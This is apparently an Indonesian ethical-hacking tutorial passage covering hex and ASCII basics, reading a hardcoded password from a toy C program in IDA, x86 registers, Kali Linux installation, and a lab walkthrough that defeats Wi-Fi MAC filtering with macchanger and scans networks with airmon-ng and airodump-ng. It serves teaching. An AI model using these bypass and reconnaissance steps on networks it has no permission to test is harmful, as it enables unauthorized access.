Heksadesimal atau sistem bilangan basis 16 adalah sebuah sistem bilangan yang menggunakan 16 simbol. Berbeda dengan sistem bilangan desimal, simbol yang digunakan dari sistem ini adalah angka 0 sampai 9, ditambah dengan 6 simbol lainnya dengan menggunakan huruf A hingga F. Sistem bilangan ini digunakan untuk menampilkan nilai alamat memori dalam pemrograman komputer. Nilai desimal yang setara dengan setiap simbol tersebut diperlihatkan pada tabel berikut:

$\mathbf{0}_{hex} = 0_{dec} = 0_{oct}$	0	0	0	0
$\mathbf{1}_{hex} = 1_{dec} = 1_{oct}$	0	0	0	1
$\mathbf{2}_{hex} = 2_{dec} = 2_{oct}$	0	0	1	0
$\mathbf{3}_{hex} = 3_{dec} = 3_{oct}$	0	0	1	1
$\mathbf{4}_{hex} = 4_{dec} = 4_{oct}$	0	1	0	0
$\mathbf{5}_{hex} = 5_{dec} = 5_{oct}$	0	1	0	1
$\mathbf{6}_{hex} = 6_{dec} = 6_{oct}$	0	1	1	0
$\mathbf{7}_{hex} = 7_{dec} = 7_{oct}$	0	1	1	1
$\mathbf{8}_{hex} = 8_{dec} = 10_{oct}$	1	0	0	0
$\mathbf{9}_{hex} = 9_{dec} = 11_{oct}$	1	0	0	1
$\mathbf{A}_{hex} = 10_{dec} = 12_{oct}$	1	0	1	0
$\mathbf{B}_{hex} = 11_{dec} = 13_{oct}$	1	0	1	1
$\mathbf{C}_{hex} = 12_{dec} = 14_{oct}$	1	1	0	0
$\mathbf{D}_{hex} = 13_{dec} = 15_{oct}$	1	1	0	1
$\mathbf{E}_{hex} = 14_{dec} = 16_{oct}$	1	1	1	0
$\mathbf{F}_{hex} = 15_{dec} = 17_{oct}$	1	1	1	1

Sumber : https://id.wikipedia.org/wiki/Heksadesimal

Hexdump

In computing, a hex dump is a hexadecimal view (on screen or paper) of computer data, from RAM or from a file or storage device. Looking at a hex dump of data is commonly done as a part of debugging, or of reverse engineering.

In a hex dump, each byte (8-bits) is represented as a two-digit hexadecimal number.

Sumber : https://en.wikipedia.org/wiki/Hex_dump

```
root@dhcppc4:/home/hexdump# echo -n program >> data
root@dhcppc4:/home/hexdump# cat data
programroot@dhcppc4:/home/hexdump# hd data
00000000  70 72 6f 67 72 61 6d                              |program|
00000007
root@dhcppc4:/home/hexdump#
```

Jalankan perintah seperti di atas

Jika menggunakan HEXwrite

Dec	Hx	Oct	Char	Dec	Hx	Oct	Html	Chr	Dec	Hx	Oct	Html	Chr	Dec	Hx	Oct	Html	Chr
0	0	000	NUL (null)	32	20	040		Space	64	40	100	@	@	96	60	140	`	`
1	1	001	SOH (start of heading)	33	21	041	!	!	65	41	101	A	A	97	61	141	a	a
2	2	002	STX (start of text)	34	22	042	"	"	66	42	102	B	B	98	62	142	b	b
3	3	003	ETX (end of text)	35	23	043	#	#	67	43	103	C	C	99	63	143	c	c
4	4	004	EOT (end of transmission)	36	24	044	$	$	68	44	104	D	D	100	64	144	d	d
5	5	005	ENQ (enquiry)	37	25	045	%	%	69	45	105	E	E	101	65	145	e	e
6	6	006	ACK (acknowledge)	38	26	046	&	&	70	46	106	F	F	102	66	146	f	f
7	7	007	BEL (bell)	39	27	047	'	'	71	47	107	G	G	103	67	147	g	g
8	8	010	BS (backspace)	40	28	050	(	(	72	48	110	H	H	104	68	150	h	h
9	9	011	TAB (horizontal tab)	41	29	051	)	)	73	49	111	I	I	105	69	151	i	i
10	A	012	LF (NL line feed, new line)	42	2A	052	*	*	74	4A	112	J	J	106	6A	152	j	j
11	B	013	VT (vertical tab)	43	2B	053	+	+	75	4B	113	K	K	107	6B	153	k	k
12	C	014	FF (NP form feed, new page)	44	2C	054	,	,	76	4C	114	L	L	108	6C	154	l	l
13	D	015	CR (carriage return)	45	2D	055	-	-	77	4D	115	M	M	109	6D	155	m	m
14	E	016	SO (shift out)	46	2E	056	.	.	78	4E	116	N	N	110	6E	156	n	n
15	F	017	SI (shift in)	47	2F	057	/	/	79	4F	117	O	O	111	6F	157	o	o
16	10	020	DLE (data link escape)	48	30	060	0	0	80	50	120	P	P	112	70	160	p	p
17	11	021	DC1 (device control 1)	49	31	061	1	1	81	51	121	Q	Q	113	71	161	q	q
18	12	022	DC2 (device control 2)	50	32	062	2	2	82	52	122	R	R	114	72	162	r	r
19	13	023	DC3 (device control 3)	51	33	063	3	3	83	53	123	S	S	115	73	163	s	s
20	14	024	DC4 (device control 4)	52	34	064	4	4	84	54	124	T	T	116	74	164	t	t
21	15	025	NAK (negative acknowledge)	53	35	065	5	5	85	55	125	U	U	117	75	165	u	u
22	16	026	SYN (synchronous idle)	54	36	066	6	6	86	56	126	V	V	118	76	166	v	v
23	17	027	ETB (end of trans. block)	55	37	067	7	7	87	57	127	W	W	119	77	167	w	w
24	18	030	CAN (cancel)	56	38	070	8	8	88	58	130	X	X	120	78	170	x	x
25	19	031	EM (end of medium)	57	39	071	9	9	89	59	131	Y	Y	121	79	171	y	y
26	1A	032	SUB (substitute)	58	3A	072	:	:	90	5A	132	Z	Z	122	7A	172	z	z
27	1B	033	ESC (escape)	59	3B	073	;	;	91	5B	133	[	[	123	7B	173	{	{
28	1C	034	FS (file separator)	60	3C	074	<	<	92	5C	134	\	\	124	7C	174			|
29	1D	035	GS (group separator)	61	3D	075	=	=	93	5D	135	]	]	125	7D	175	}	}
30	1E	036	RS (record separator)	62	3E	076	>	>	94	5E	136	^	^	126	7E	176	~	~
31	1F	037	US (unit separator)	63	3F	077	?	?	95	5F	137	_	_	127	7F	177	&#127;	DEL

Source: www.LookupTables.com

Jika ingin melihat dari ASCII Table

Materi sisipan

Mengenal Reverse Engineering

Rekayasa balik atau rekayasa mundur (bahasa Inggris: reverse engineering) adalah proses penemuan prinsip-prinsip teknologi dari suatu perangkat, objek, atau sistem melalui analisis strukturnya, fungsinya, dan cara kerjanya.

IDA Pro (Integrated DisAssembler Professional) adalah program untuk debugging dengan cara melihat kode program dalam bentuk bahasa assembler.

```
  GNU nano 2.2.6                File: program.c

#include<stdio.h>
#include<string.h>

main(){
char name[30];
char password[20];
printf("Masukkan username: ");
scanf("%s",name);
printf("Masukkan password: ");
scanf("%s",password);
if (strcmp(name, "admin") == 0 && strcmp(password, "12345") == 0)
printf("Akses benar\n");
else printf("Akses salah\n");

}
```

Di sini dicontoh ada program.c untuk menguji suatu akses benar atau tidak didasarkan dari username dan password yang dibuat.

```
root@dhcppc4:/home/pass# nano program.c
root@dhcppc4:/home/pass# rm program
root@dhcppc4:/home/pass# ls -l
total 16
-rwxr-xr-x 1 root root 5334 Jan 13 17:21 pass
-rw-r--r-- 1 root root  375 Jan 13 17:21 pass.c
-rw-r--r-- 1 root root  306 Jan 17 07:58 program.c
root@dhcppc4:/home/pass# gcc program.c -o program
root@dhcppc4:/home/pass# ./program
Masukkan username: admin
Masukkan password: 52832
Akses salah
root@dhcppc4:/home/pass# ./program
Masukkan username: admin
Masukkan password: 12345
Akses benar
root@dhcppc4:/home/pass#
```

Compile dan menjalankan program

Copy file program ke windows dan buka dengan IDA

Program dibuka

Pilih seperti di atas, klik OK

Bentuk program dalam assembly

```
.text:080484DC
.text:080484DC                 push    ebp
.text:080484DD                 mov     ebp, esp
.text:080484DF                 and     esp, 0FFFFFFF0h
.text:080484E2                 sub     esp, 50h
.text:080484E5                 mov     dword ptr [esp], offset format ; "Masukkan username: "
.text:080484EC                 call    _printf
.text:080484F1                 lea     eax, [esp+32h]
.text:080484F5                 mov     [esp+4], eax
.text:080484F9                 mov     dword ptr [esp], offset aS ; "%s"
.text:08048500                 call    ___isoc99_scanf
.text:08048505                 mov     dword ptr [esp], offset aMasukkanPasswo ; "Masukkan password: "
.text:0804850C                 call    _printf
.text:08048511                 lea     eax, [esp+1Eh]
.text:08048515                 mov     [esp+4], eax
.text:08048519                 mov     dword ptr [esp], offset aS ; "%s"
.text:08048520                 call    ___isoc99_scanf
.text:08048525                 mov     dword ptr [esp+4], offset s2 ; "admin"
.text:0804852D                 lea     eax, [esp+32h]
.text:08048531                 mov     [esp], eax      ; s1
.text:08048534                 call    _strcmp
.text:08048539                 test    eax, eax
.text:0804853B                 jnz     short loc_8048563
.text:0804853D                 mov     dword ptr [esp+4], offset a12345 ; "12345"
.text:08048545                 lea     eax, [esp+1Eh]
.text:08048549                 mov     [esp], eax      ; s1
.text:0804854C                 call     strcmp
```

Program IDA terlihat sudah memberikan informasi username dan password

```
.rodata:0804860D                 db    0
.rodata:0804860E                 db    2
.rodata:0804860F                 db    0
.rodata:08048610 ; char format[]
.rodata:08048610 format          db 'Masukkan username: ',0 ; DATA XREF: main+9↑o
.rodata:08048624 aS              db '%s',0                  ; DATA XREF: main+1D↑o
.rodata:08048624                                            ; main+3D↑o
.rodata:08048627 ; char aMasukkanPasswo[]
.rodata:08048627 aMasukkanPasswo db 'Masukkan password: ',0 ; DATA XREF: main+29↑o
.rodata:0804863B ; char s2[]
.rodata:0804863B s2              db 'admin',0               ; DATA XREF: main+49↑o
.rodata:08048641 ; char a12345[]
.rodata:08048641 a12345          db '12345',0               ; DATA XREF: main+61↑o
.rodata:08048647 ; char s[]
.rodata:08048647 s               db 'Akses benar',0         ; DATA XREF: main+79↑o
.rodata:08048653 ; char aAksesSalah[]
.rodata:08048653 aAksesSalah     db 'Akses salah',0         ; DATA XREF: main:loc_8048563↑o
.rodata:08048653 _rodata         ends
.rodata:08048653
.eh_frame_hdr:08048660 ; ===========================================================
.eh_frame_hdr:08048660
```

Materi sisipan

Mengenal Layout memory

Stack dan Heap adalah alokasi register RAM atau bisa juga disebut bagian memori komputer tempat data program disimpan. Saat program running, program akan menempati lokasi tertentu di memori. Tempat ini disebut lokal alamat memori.

Saat program berjalan, memori akan dibagi menjadi tiga segmen yaitu

text (code) : Berisi instruksi program atau tempat source code program

Heap : Bagian lokasi memori yang digunakan untuk alokasi secara dinamis,

Stack : Bagian memori yang digunakan untuk menyimpan variabel lokal dalam fungsi, urutan pemanggilan fungsi yang pengalamatan memorinya telah dilakukan saat program di *compile*

The stack is a Last In First Out (LIFO) data structure; data is pushed onto it and popped off of it in the reverse order (https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture)

Pembagian antara OS kernel and user mode virtual memory spaces dalam 32-bit Linux OS

Berdasarkan dari gambar Low addreess dimulai dari 0x00000000 dan High address dimulai dari 0xFFFFFFFF

Gambar dari https://gabrieletolomei.wordpress.com/miscellanea/operating-systems/in-memory-layout/

The main tools to write programs in x86 assembly are the processor registers. The registers are like variables built in the processor. Using registers instead of memory to store values makes the process faster and cleaner. The problem with the x86 serie of processors is that there are few registers to use. This section describes the main use of each register and ways to use them. That in note that the rules described here are more suggestions than strict rules. Some operations need absolutely some kind of registers but most of the you can use any of the freely.

x86 Registers

Here is a list of the available registers on the 386 and higher processors. This list shows the 32 bit registers. Most of the can be broken down to 16 or even 8 bits register.

General registers : EAX EBX ECX EDX

Segment registers : CS DS ES FS GS SS

Index and pointers : ESI EDI EBP EIP ESP

Indicator : EFLAGS

General registers

As the title says, general register are the one we use most of the time Most of the instructions perform on these registers. They all can be broken down into 16 and 8 bit registers.

32 bits : EAX EBX ECX EDX

16 bits : AX BX CX DX

8 bits : AH AL BH BL CH CL DH DL

The "H" and "L" suffix on the 8 bit registers stand for high byte and low byte. With this out of the way, let's see their individual main use

EAX,AX,AH,AL : Called the Accumulator register.

It is used for I/O port access, arithmetic, interrupt calls, etc...

EBX,BX,BH,BL : Called the Base register

It is used as a base pointer for memory access

Gets some interrupt return values

ECX,CX,CH,CL : Called the Counter register

It is used as a loop counter and for shifts

Gets some interrupt values

EDX,DX,DH,DL : Called the Data register

It is used for I/O port access, arithmetic, some interrupt calls.

Segment registers

Segment registers hold the segment address of various items. They are only available in 16 values. They can only be set by a general register or special instructions. Some of them are critical for the good execution of the program and you might want to consider playing with them when you'll be ready for multi-segment programming

CS : Holds the Code segment in which your program runs. Changing its value might make the computer hang.

DS : Holds the Data segment that your program accesses. Changing its value might give erronous data.

ES,FS,GS : These are extra segment registers available for far pointer addressing like video memory and such.

SS : Holds the Stack segment your program uses. Sometimes has the same value as DS. Changing its value can give unpredictable results, mostly data related.

Indexes and pointers

Indexes and pointer and the offset part of and address. They have various uses but each register has a specific function. They some time used with a segment register to point to far address (in a 1Mb range). The register with an "E" prefix can only be used in protected mode.

ES:EDI EDI DI : Destination index register. Used for string, memory array copying and setting and for far pointer addressing with ES

DS:ESI EDI SI : Source index register. Used for string and memory array copying

SS:EBP EBP BP : Stack Base pointer register. Holds the base address of the stack

SS:ESP ESP SP : Stack pointer register. Holds the top address of the stack

CS:EIP EIP IP : Index Pointer. Holds the offset of the next instruction. It can only be read

Sumber : Sumber : http://www.eecg.toronto.edu/~amza/www.mindsec.com/files/x86regs.html

x86 Architecture

The x86 architecture has 8 General-Purpose Registers (GPR), 6 Segment Registers, 1 Flags Register and an Instruction Pointer. 64-bit x86 has additional registers.

General-Purpose Registers (GPR) - 16-bit naming conventions

The 8 GPRs are:

Accumulator register (AX). Used in arithmetic operations.

Counter register (CX). Used in shift/rotate instructions and loops.

Data register (DX). Used in arithmetic operations and I/O operations.

Base register (BX). Used as a pointer to data (located in segment register DS, when in segmented mode).

Stack Pointer register (SP). Pointer to the top of the stack.

Stack Base Pointer register (BP). Used to point to the base of the stack.

Source Index register (SI). Used as a pointer to a source in stream operations.

Destination Index register (DI). Used as a pointer to a destination in stream operations.

The order in which they are listed here is for a reason: it is the same order that is used in a push-to-stack operation, which will be covered later.

All registers can be accessed in 16-bit and 32-bit modes. In 16-bit mode, the register is identified by its two-letter abbreviation from the list above. In 32-bit mode, this two-letter abbreviation is prefixed with an 'E' (extended). For example, 'EAX' is the accumulator register as a 32-bit value.

Similarly, in the 64-bit version, the 'E' is replaced with an 'R', so the 64-bit version of 'EAX' is called 'RAX'.

It is also possible to address the first four registers (AX, CX, DX and BX) in their size of 16-bit as two 8-bit halves. The least significant byte (LSB), or low half, is identified by replacing the 'X' with an 'L'. The most significant byte (MSB), or high half, uses an 'H' instead. For example, CL is the LSB of the counter register, whereas CH is its MSB.

In total, this gives us five ways to access the accumulator, counter, data and base registers: 64-bit, 32-bit, 16-bit, 8-bit LSB, and 8-bit MSB. The other four are accessed in only three ways: 64-bit, 32-bit and 16-bit. The following table summarises this:

Register	Accumulator	Counter	Data	Base	Stack Pointer	Stack Base Pointer	Source	Destination
64-bit	RAX	RCX	RDX	RBX	RSP	RBP	RSI	RDI
32-bit	EAX	ECX	EDX	EBX	ESP	EBP	ESI	EDI
16-bit	AX	CX	DX	BX	SP	BP	SI	DI
8-bit	AH AL	CH CL	DH DL	BH BL				

Memory

The x86 architecture is little-endian, meaning that multi-byte values are written least significant byte first. (This refers only to the ordering of the bytes, not to the bits.)

For example, the 32 bits double word 0x1BA583D4 (the 0x denotes hexadecimal) would be written in memory as:

Little endian example

D4	83	A5	1B

This will be seen as 0xD4 0x83 0xA5 0x1B when doing a memory dump.

Sumber : https://en.wikibooks.org/wiki/X86_Assembly/X86_Architecture

X86 Registers

- EIP - Address of next instruction

- ESP - Address for the top of the stack

- EAX/ECX/EDX : Holds variables and data for the application

What is the stack

- Holds the functions and function variables

- user input

- data needed by the app

- LIFO - Last in, First out

Ethical Hacking

Ethical hacking is a proactive form of information security and is also known as penetration testing, intrusion testing and red teaming. An ethical hacker is sometimes called a legal or white hat hacker and its counterpart a black hat, a term that comes from old Western movies, where the "good guy" wore a white hat and the "bad guy" wore a black hat. The term "ethical hacker" is frowned upon by some security professionals who see it has a contradiction in terms and prefer the name "penetration tester."

Sumber : http://searchsecurity.techtarget.com/definition/ethical-hacker

Materi sisipan

Instalasi Kali-linux 2017.2 di VBOX

Instalasi kali linux

Klik New

Isi seperti di atas

RAM bisa diset 1024 MB

Create a Virtual Hard disk now seperti di atas

Pilih seperti di atas yaitu VDI (VirtualBox Disk Image)

Pilih Dynamic allocated

Setting seperti di atas

VM telah dibuat

Klik kanan lalu settings

Pilih System lalu Processor lalu centang pada Enable PAE/NX

Untuk setting adapter sesuaikan sesuatu kebutuhkan, jika ingin tersambung ikut wireless laptop maka pilih Bridged Adapter lalu untuk Name pilih pada Wireless Adapter.

Pilih Storage lalu klik Empty seperti di atas lalu klik pada icon CD/DVD seperti di atas

Pilih Choose Virtual Optical Disk File…

Pilih ISO kali linux 2017 seperti di atas lalu klik Open

Setelah itu klik OK

Double click

Pilih Install

Pilih English

```
The selected location will be used to set your time zone and also for example to help
select the system locale. Normally this should be the country where you live.

This is a shortlist of locations based on the language you selected. Choose "other" if
your location is not listed.

Country, territory or area:

                                    Antigua and Barbuda
                                    Australia
                                    Botswana
                                    Canada
                                    Hong Kong
                                    India
                                    Ireland
                                    Israel
                                    New Zealand
                                    Nigeria
                                    Philippines
                                    Singapore
                                    South Africa
                                    United Kingdom
                                    United States
                                    Zambia
                                    Zimbabwe
                                    other

    <Go Back>
```

Pilih Other

```
[!!] Select your location

The selected location will be used to set your time zone and also for example to help
select the system locale. Normally this should be the country where you live.

Select the continent or region to which your location belongs.

Continent or region:

                                    Africa
                                    Antarctica
                                    Asia
                                    Atlantic Ocean
                                    Caribbean
                                    Central America
                                    Europe
                                    Indian Ocean
                                    North America
                                    Oceania
                                    South America
                                    other

    <Go Back>
```

Pilih Asia

Pilih Indonesia

Pilih Singapore

Pilih American English

Tunggu loading seperti di atas

Hostname isi kali

Domain bisa dikosongkan

Isi password yang akan digunakan

Isi kembali password yang dimasukkan sebelumnya

Pilih kota untuk time zone seperti di atas, jika berada di tempat seperti di atas

Loading

Pilih Guided – use entire disk

Pilih seperti di atas

Pilih seperti di atas

Pilih seperti di atas

Pilih Yes

Proses instalasi

Pilih No

Installing GRUB boot loader

Pilih Yes

Pilih seperti di atas

Finishing the instalation

Pilih seperti di atas

Login dengan root

Masukkan password root

Langsung akses root

```
beef-xss:x:134:142::/var/lib/beef-xss:/usr/sbin/nologin
root@kali:~# cd /home
root@kali:/home# ls
root@kali:/home# useradd -m kali
root@kali:/home# passwd kali
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@kali:/home# cd /etc
root@kali:/etc# nano sudoers
```

Membuat user baru dan memberi password

Perintah :

useradd -m kali

passwd kali

Isi passwordnya

cd /etc

nano sudoers

Jika ingin lebih ringkas, ketik nano /etc/sudoers

```
  GNU nano 2.8.7                    File: sudoers

Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL
kali ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
```

Kali diberikan akses admin seperti di atas

```
speech-dispatcher:x:129:29:Speech Dispatcher,,,:/var
false
pulse:x:130:137:PulseAudio daemon,,,:/var/run/pulse:
Debian-gdm:x:131:139:Gnome Display Manager:/var/lib/
king-phisher:x:132:140::/var/lib/king-phisher:/usr/s
dradis:x:133:141::/var/lib/dradis:/usr/sbin/nologin
beef-xss:x:134:142::/var/lib/beef-xss:/usr/sbin/nolo
root@kali:~# cd /home
root@kali:/home# ls
root@kali:/home# useradd -m kali
root@kali:/home# passwd kali
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@kali:/home# cd /etc
root@kali:/etc# nano sudoers
root@kali:/etc# reboot
```

Ketik reboot lalu enter

Masukkan user kali

Masukkan password

Hasilnya masuk ke halaman desktop kali linux

Ketik whoami hasilnya muncul kali

sudo su

ketikkan passwordnya lalu ketik whoami, hasilnya seperti di atas

root@kali: /home/kali
File Edit View Search Terminal Help
[sudo] password for kali:
root@kali:/home/kali# whoami
root
root@kali:/home/kali# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.103 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::a00:27ff:fe01:c3a2 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:01:c3:a2 txqueuelen 1000 (Ethernet)
RX packets 639 bytes 788549 (770.0 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 424 bytes 31855 (31.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 26 bytes 1518 (1.4 KiB)

Ifconfig

File Home Share View
Copy Paste Cut Copy path Paste shortcut
Clipboard
Move to Copy to Delete Rename
Organize
New folder New item Easy access
New
Properties Open Edit History
Open
Select all Select none Invert selection
Select
C:\Users\kurniawandata\VirtualBox VMs\kali linux 2017.2 baru
Favorites
Desktop
Downloads
Recent places
Homegroup
This PC
Desktop
Documents
Name Date modified Type Size
Logs 1/31/2018 5:56 AM File folder
kali linux 2017.2 baru 1/31/2018 6:24 AM VirtualBox Machin... 4 KB
kali linux 2017.2 baru.vbox-prev 1/31/2018 5:56 AM VBOX-PREV File 4 KB
kali linux 2017.2 baru 1/31/2018 6:55 AM Virtual Disk Image 9,079,808 KB

Bab 12

Wireless Hacking

WLAN

WLAN adalah singkatan dari Wireless Local Area Network yaitu suatu jenis jaringan komputer yang menggunakan gelombang radio sebagai alat atau media transmisi data. Informasi atau data ditransfer dari satu komputer ke komputer yang lainnya menggunakan gelombang radio. WLAN juga sering disebut dengan Jaringan Nirkabel atau jaringan wireless.

Sumber : http://www.pengertianku.net/2015/01/pengertian-wlan-atau-wireless-lan.html

Wi-Fi (/icon ˈwaɪfaɪ/, juga ditulis Wifi atau WiFi) adalah sebuah teknologi terkenal yang memanfaatkan peralatan elektronik untuk bertukar data secara nirkabel (menggunakan gelombang radio) melalui sebuah jaringan komputer, termasuk koneksi Internet berkecepatan tinggi. Wi-Fi Alliance mendefinisikan Wi-Fi sebagai "produk jaringan wilayah lokal nirkabel (WLAN) apapun yang didasarkan pada standar Institute of Electrical and Electronics Engineers (IEEE) 802.11". Meski begitu, karena kebanyakan WLAN zaman sekarang didasarkan pada standar tersebut, istilah "Wi-Fi" dipakai dalam bahasa Inggris umum sebagai sinonim "WLAN".

Sumber : https://id.wikipedia.org/wiki/Wi-Fi

Wi-Fi dirancang berdasarkan spesifikasi IEEE 802.11. Sekarang ini ada empat variasi dari 802.11, yaitu:

802.11a, 802.11b, 802.11g, 802.11n.

Spesifikasi b merupakan produk pertama Wi-Fi. Variasi g dan n merupakan salah satu produk yang memiliki penjualan terbanyak pada 2005.

Spesifikasi Wi-Fi

Spesifikasi	Kecepatan	Frekuensi Band	Cocok dengan
802.11b	11 Mb/s	~2.4 GHz	b
802.11a	54 Mb/s	~5 GHz	a
802.11g	54 Mb/s	~2.4 GHz	b, g
802.11n	100 Mb/s	~2.4 GHz	b, g, n

Di banyak bagian dunia, frekuensi yang digunakan oleh Wi-Fi, pengguna tidak diperlukan untuk mendapatkan izin dari pengatur lokal (misal, Komisi Komunikasi Federal di A.S.). 802.11a menggunakan frekuensi yang lebih tinggi dan oleh sebab itu daya jangkaunya lebih sempit, lainnya sama.

Versi Wi-Fi yang paling luas dalam pasaran AS sekarang ini (berdasarkan dalam IEEE 802.11b/g) beroperasi pada 2.400 GHz sampai 2.483,50 GHz.

Channel 1 - 2,412 GHz; Channel 2 - 2,417 GHz; Channel 3 - 2,422 GHz; Channel 4 - 2,427 GHz;

Channel 5 - 2,432 GHz; Channel 6 - 2,437 GHz; Channel 7 - 2,442 GHz; Channel 8 - 2,447 GHz;

Channel 9 - 2,452 GHz; Channel 10 - 2,457 GHz; Channel 11 - 2,462 GHz

Sumber : Sumber : https://id.wikipedia.org/wiki/Wi-Fi

Tambahan :

Contoh perangkat USB wireless adapter yang mendukung monitor mode dan injection adalah

TP-LINK TL-WN722N v1, jangan gunakan yang v2.

Untuk melakukan wireless hacking disarankan menggunakan Kali-linux.

Jika pakai virtualbox maka pastikan 2 hal ini dilakukan :

Aktifkan Enable PAE/NX

Download VM Virtualbox Extension Pack di https://www.virtualbox.org/wiki/Downloads

Download lalu jalankan

Setelah dijalankan klik USB lalu pilih USB Wireless Adapter yang akan dimasukkan

Hasilnya seperti di atas lalu klik OK lalu jalankan VM Kali linux.

12.1 Kasus Wireless Mac Filtering

In computer networking, MAC Filtering (or GUI filtering, or layer 2 address filtering) refers to a security access control method whereby the 48-bit address assigned to each network card is used to determine access to the network.

MAC addresses are uniquely assigned to each card, so using MAC filtering on a network permits and denies network access to specific devices through the use of blacklists and whitelists. While the restriction of network access through the use of lists is straightforward, an individual person is not identified by a MAC address, rather a device only, so an authorized person will need to have a whitelist entry for each device that he or she would use to access the network.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/MAC_filtering

12.1.1 Filtering Mac dengan Deny the stations specified by any enabled entries in the list to access.

Access Point di set enabled pada MAC Filtering. Dengan Filtering rules : Deny The Stations specified by any enabled entries in the list to access.

Mac address kali linux yang difilter tidak diijinkan masuk ke access point.

```
root@kalidata:/etc/network# ifconfig
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:102 errors:0 dropped:0 overruns:0 frame:0
          TX packets:102 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:26733 (26.1 KiB)  TX bytes:26733 (26.1 KiB)

wlan0     Link encap:Ethernet  HWaddr a0:f3:c1:27:51:93
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
```

Mac Address Kali Linux yang tidak diijinkan masuk.

Hasilnya setelah dilakukan save.

Perintah di kali linux untuk mengganti mac address, agar dapat melewati proteksi.

```
root@kalidata:/etc/network# ifconfig wlan0 down
root@kalidata:/etc/network# macchanger -r wlan0
Permanent MAC: a0:f3:c1:27:51:93 (unknown)
Current   MAC: a0:f3:c1:27:51:93 (unknown)
New       MAC: 70:06:f7:6a:7d:dc (unknown)
root@kalidata:/etc/network# ifconfig wlan0 up
root@kalidata:/etc/network# ifconfig
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:113 errors:0 dropped:0 overruns:0 frame:0
          TX packets:113 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:29005 (28.3 KiB)  TX bytes:29005 (28.3 KiB)

wlan0     Link encap:Ethernet  HWaddr 70:06:f7:6a:7d:dc
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
```

Setelah diganti maka masuk ke SSID Belajar1

Hasilnya setelah masuk dan Kali Linux mendapatkan ip address 192.168.1.132.

Mengaktifkan mode monitor pada wireless network adapter

```
root@kalidata:~# airmon-ng start wlan0


Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID     Name
2280    NetworkManager
2565    wpa_supplicant


Interface       Chipset         Driver

wlan0           Ralink RT2870/3070      rt2800usb - [phy0]
                                        (monitor mode enabled on mon0)

root@kalidata:~#
```

Setelah diaktifkan mode monitor maka muncul interface baru dengan nama mon0.

```
root@kalidata:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:5b:13:a3
          inet addr:192.168.1.112  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe5b:13a3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:147 errors:0 dropped:0 overruns:0 frame:0
          TX packets:22 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:9561 (9.3 KiB)  TX bytes:1526 (1.4 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:61 errors:0 dropped:0 overruns:0 frame:0
          TX packets:61 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:22549 (22.0 KiB)  TX bytes:22549 (22.0 KiB)

mon0      Link encap:UNSPEC  HWaddr A0-F3-C1-27-51-93-00-00-00-00-00-00-00-00-00-00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:684 errors:0 dropped:695 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:167927 (163.9 KiB)  TX bytes:0 (0.0 B)

wlan0     Link encap:Ethernet  HWaddr a0:f3:c1:27:51:93
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

root@kalidata:~#
```

Saat dijalankan perintah airodump-ng mon0 maka hasilnya seperti berikut. Di sini diketahui juga client yang terkoneksi dengan access point.

```
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

E8:94:F6:44:0C:9B  -48       51        5    0   1  54e. OPN              Belajar1

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

